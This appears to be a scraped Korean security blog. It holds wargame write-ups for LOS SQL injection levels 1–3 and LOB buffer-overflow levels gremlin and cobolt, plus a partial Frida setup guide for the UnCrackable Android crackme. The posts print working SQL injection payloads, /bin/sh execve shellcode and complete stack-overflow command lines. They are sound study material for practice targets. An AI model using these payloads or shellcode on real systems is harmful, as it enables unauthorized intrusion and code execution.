728x90

los 3번

쿼리랑 필터링 부분을 보면 no라는 변수값을 받아온다. 문제해결 조건은 id 라는 변수의 값을 admin으로 만들어야 한다.

그리고 필터링을 보면, prob, _, ., (), ', ", `를 필터링 한다. 즉, 쿼리를 정상적으로 작성할 수 없다. 

왜냐? 

예를 들어서 id라는 변수의 값을 admin으로 설정하고 싶으면, id='admin' 이런식으로 작성해야 하지만, '가 필터링되므로 변수값을 설정할 수 없다.

 

이 문제에서 이용할 함수는, char이라는 함수이다.

예를 들어서 char(99, 98)이렇게 작성하면 '기호가 포함되면서, 아스키값 99번과 98번의 값이 '기호로 감싸지면서 들어간다.

 

추가적으로, preg_match함수를 알아보자.

https://www.w3schools.com/php/func_regex_preg_match.asp

 

PHP preg_match() Function

PHP preg_match() Function ❮ PHP RegExp Reference Example Use a regular expression to do a case-insensitive search for "w3schools" in a string: Try it Yourself

www.w3schools.com

국내에서 쓴 글들은 대부분 3개의 인자로 preg_match를 설명하는데, 위 링크에 들어가보면 필수인자와 선택인자가 자세해게 구분되있어서, 위 글을 꼭 읽어보길 바란다.

 

preg_match함수를 해석해보면, no라는 변수의 값에 필터링을 적용시키고, 우린 no값부터 쿼리를 넣기 때문에 우리가 사용하는 쿼리가 전체필터링된다고 보면 될것같다.

일단 초기의 id는 guest이고, 그에 해당하는 no의 값은 뭔지 모른다. 또한, 우리가 들어가야 하는 id의 값은 admin이고, guest의 no의 값과는 달라야 id를 새로 지정하는 쿼리가 인식될 수 있다. 

쿼리를 작성해보면, 

[?no=1325 or id=char(97,100,109,105,110)]

char의 값은 admin의 아스키값을 넣은것이다.

los 3번 답

728x90

'web > LOS' 카테고리의 다른 글

LOS 6번  (0) 2020.11.11
LOS 5번  (0) 2020.11.11
LOS 4번  (0) 2020.07.19
LOS 2번  (0) 2020.07.19
LOS 1번  (0) 2020.07.19
728x90

 

los 2번

이 문제는 1번과 필터링함수가 동일하고, 문제가 풀리는 조건은 단순히 id라는 변수값에 admin이라는 값만 넣어주면 된다.

pw는 필요없긴 하지만, md5라는 새로운 문구가 추가되었다.

md5는 값을 해시값으로 바꿔주는 함수이고, 아직은 우회할 필요가 없으므로 넘어간다.

쿼리를 작성해보면, [?id=admin'%23]

los 2번 답

 

728x90

'web > LOS' 카테고리의 다른 글

LOS 6번  (0) 2020.11.11
LOS 5번  (0) 2020.11.11
LOS 4번  (0) 2020.07.19
LOS 3번  (0) 2020.07.19
LOS 1번  (0) 2020.07.19
728x90

https://los.rubiya.kr/gate.php

 

https://los.rubiya.kr/gate.php

 

los.rubiya.kr

웹 해킹에 관한  공부를 시작할때, 가장 기초로 여겨지는 SQL Injection 을 시작해보겠다.

노베로 시작하려면 정말 막막하겠지만, 이 문제들의 풀이는 구글에 널려있으므로, 여러사람들의 풀이를 보고 해석하면서 공부하길 바란다. (한가지 방법의 풀이만 이용하지 말고, 여러 풀이를 만들어 보길)

 

우선, 1번부터 시작한다.

los 1번

일단 노베에서 시작하기 위한 첫 단계는 익숙해지는거라 생각한다.

이미 풀었던 문제들은 한 2주 정도 지나면 거의 망각하므로, 나중에 시간되면 다시 풀어보고 곱씹어 보는게 좋을듯

 

일단 쿼리를 보면, id와 pw를 가져온다.

가장 첫 조건인 if문을 보면, prob, _ , . , () 를 id와 pw에서 필터링한다.

아직 이 조건이 문제푸는데 큰 영향이 없지만, 뒤로 갈수록 제약이 걸리기 때문에, 다양한 방법을 알고있어야 한다.

 마지막 조건, 이 문제가 풀리는 조건은 id라는 변수가 있어야 한다.

 

pw에 관한 조건은 없으므로, pw를 받는 쿼리부분은 지워주도록 하자.

 

[?id=' or 1=1 %23]

이 쿼리를 넣으면 문제는 간단히 풀린다.

los 1번 답

 

728x90

'web > LOS' 카테고리의 다른 글

LOS 6번  (0) 2020.11.11
LOS 5번  (0) 2020.11.11
LOS 4번  (0) 2020.07.19
LOS 3번  (0) 2020.07.19
LOS 2번  (0) 2020.07.19
728x90

id = gremlin 

pw = hello bof world

 

1번 이미지

 

bash2를 해주고 cobolt.c 파일을 읽어보니, buffer가 16바이트이고, 내가 쓰는 shell코드는 24바이트이므로, buffer에

넣을 수 없다. (\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80)

따라서, 우리는 환경변수를 이용할 것이고, 환경변수를 지정한 다음 리턴값을 환경변수의 주소로 넣어줄 것이다.

먼저 해야하는 것은 환경변수를 지정하는것이다.

(환경변수 지정어 >>  export (변수명) = (변수내용) )

export EGG=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

이렇게 설정해준다.

 다음은 환경변수를 구하기 위한 코드를 작성해보자.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main(int argc, char *argv[])s

{

char *ptr;

ptr = getenv(argv[1]);

printf("%p\n", ptr);

return 0;

}

이렇게 짜봤다.

 

2번 이미지

 

환경변수의 주소는 0xbffffeb6

이제 페이로드를 작성해보면, 

./cobolt `python -c 'print "a"*20+"\xb6\xfe\xff\xbf"'`

 

오류가 뜨긴 하지만 이 문제의 의도에 적합한 풀이다.

 

 

//7월 13일 수정

위의 환경변수에 썰매를 타게 해주니 이젠 illegal ~ 라는 오류가 뜬다.

구글링하니 단순한 문제가 아닌것 같아서 이 문제는 일단 넘어가기로 했다. 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 6번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 4번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19
LOB 1번  (0) 2020.07.11
728x90

gate _gremlin 문제다.

 우선 shell코드를 복붙하기 위해 putty를 사용하고, 내가 사용한 shellcode는 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

이다. shellcode 는 다른글에서 짜는 과정을 기술하겠다.

 

1번의 스택을 보면 

1번 이미지

이렇게 구성되어 있다.(크기를 어떻게 구하는지 알고는 있는데 이 방법이 최적의 방법인지 모르겠다.. 더 공부해야할듯)

 

풀이 방향은 buffer의 시작주소를 알아낸 다음 buffer중간에 shell코드를 넣고 ret부분에 buffer의 시작주소를 넣을 것이다.

 

일단 buffer의 시작주소를 알아보기 위해서 gremlin.c 파일을 읽어보자.

 

2번 이미지

int argc, char *argv[] main함수는 구글링하니깐 strcpy함수로 알려져있고, 이 함수의 취약점은 크기를 고려하지 않고 

그대로 복붙한다는 것이다. 따라서 overflow방법을 사용할 수 있다.

 

이제 gremlin.c파일을 컴파일해서 어셈으로 헤쳐볼것이다.

이름은 gremlil로 하여서 컴파일하였고, intel 방식으로 main함수를 헤쳤다.

3번 이미지

strcpy함수를 부르기 직전의 주소로 break를 걸고, 코드를 일정한 문자로 채워서 buffer의 시작점을 찾아보자.

4번 이미지

내가 여기서 많이 어려움을 겪었는데, 포너블을 처음 하는거라 명령어 형식을 잘 몰라 ` 와 ' 을 구분하지 않고 적었었다..

r `python -c 'print "a"*260'` 이와 같은 형식으로 적어야하고, 띄어쓰기 또한 철저하게 지켜야 한다.

다음 breakpoint근처의 hex값을 보면 어디서부터 일정한 문자가 들어갔는지 알 수 있다.

따라서, buffer의 시작점주소는 0xbffff968이다.

 

이제 shell코드와 buffer시작주소를 알았으니 페이로드만 작성하면 끝난다.

./gremlin `python -c 'print "\x90"*200+"shellcode"+"\x90"*36+"buffer 시작주소"'`

여기서 buffer시작주소를 입력할때, 스택의 읽기방식을 고려하여서 역순으로 2개씩 넣어준다.

최종 페이로드는 

./gremlin `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+\x90"*36+"\x68\xf9\xff\xbf"'` 이다.

5번 이미지

여기서 bash2명령어를 사용하여야 답이 나오는데, 아직 구체적인 이유는 알지 못했다. 나중에 알게되면 수정예정

또한 위의 1번 이미지에 따라서 236바이트의 \x90값을 넣고 남은 24바이트 공간에 shellcode를 넣으면 왜 안되는지 잘 모르겠다. 아마 내 짐작으로는 내가 구한 buffer주소가 부정확한것 같다.

//////////////////////////////////////////////////////////////////////////////////////////////////////////

그리고 주소를 구할때 쓴 코드 x/24x에서 24x는 24개의 word를 뜻하고, 1word=4byte이다.

하나의 주소안에 들어있는 hex값의 주소는 16바이트를 4개로 나눈 4바이트 간격이다/.

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 6번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 4번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19
LOB 2번  (0) 2020.07.12
728x90

UnCrackable-Level1.apk
0.06MB

Frida 를 이용한 UnCrackable_Level1 후킹.

 

우선 후킹 환경을 만드는게 꽤 귀찮다.

안드로이드 환경이 필요하므로 Nox를 다운받아 주자.

https://kr.bignox.com/

 

녹스 앱플레이어

모바일 게임을 키보드와 마우스로? 클릭 한 번으로 가상키보드 실행이 가능하며 PC버전의 게임도 간편하게 체험할 수 있습니다. 키보드와 마우스로 컨트롤하여 뛰는 자에서 나는 자가 되어볼 수

kr.bignox.com

Uncrackable 앱은 root권한을 탐지하는 함수가 들어가있으므로 Nox도 root권한을 활성화 시켜주자.

 

frida는 리눅스 환경에서 [pip install frida]명령어를 통하여 다운받을수 있다.

 

nox와 컴퓨터를 연결해주기 위해 nox에서 usb디버깅 옵션을 켜준 다음,  adb명령어를 이용한다.

[adb connect 127.0.0.1:62001][powershell]

adb를 실행하려면 SDK부터 다운받아야 하는데, 이는 구글에다가 'adb다운받는법' 이라고 쳐보는걸 추천

 

이제 frida를 설치해보자.

frida 설치
frida-tools 설치

여기서, frida의 버전을 잘 확인해야 한다.

내가 다운받은 버전은 12.10.4버전이고, 이에 맞는 frida-server를 다운받아야 한다.

 

/여기서 frida 와 frida-server 가 뭘까?/

>>frida는 무선마우스이고 frida-server는 수신기라 생각하면 될것같다.

 

https://github.com/frida/frida/releases

 

Releases · frida/frida

Clone this repo to build Frida. Contribute to frida/frida development by creating an account on GitHub.

github.com

구글에다가 자신이 다운받은 frida버전에 맞는 서버를 검색하면 github에 다 있으니깐 여기서 다운받아라.

여기서, 자신의 기기의 (녹스 환경 또는 안드로이드 기기 환경)

프로세서의 종류에 따라서 다운받아야 하는 파일이 다른데, 보통 arm 또는 arm64 이지만, 

adb에서 확인해보자.

 

이상하게 abi2는 나오질 않는다. 뭐 일단 x86서버를 넣어서 돌려보겠다.

녹스안에 /data/local/tmp 경로로 넣어주고, [ ./fridaserver & ] 라는 명령어를 넣어주면, 백그라운드로 돌아간다.

fridaserver의 파일권한을 변경해주고 싶으면, adb를 이용해도 되긴 하지만, 그냥 녹스안에서 상위파일관리자를 이용하여 권한을 수정해주면 편하다. 

내가 쓴 앱은 유료이지만, 구글에 널려있기 때문에 알아서 잘 찾아보거라

(여기에는 못올릴듯)

 

이제 Uncrackable_1 을 설치해주고, 실행시키면 다음과 같은 창이 나온다.

루트권한을 탐지했단다. 와우

 

이제 어떤 원리로 이 앱이 루트권한을 탐지하는지 알아보자.

우선 apkmanager로 디컴파일 한 후 ㅎ

 

728x90

'Android' 카테고리의 다른 글

[twrp] sm-g610l android 8.1.0 (odin)  (0) 2020.10.05
cSploit 분석 계획  (0) 2020.08.18
OMTG-DATAST-001-BadEncryption  (0) 2020.07.23

+ Recent posts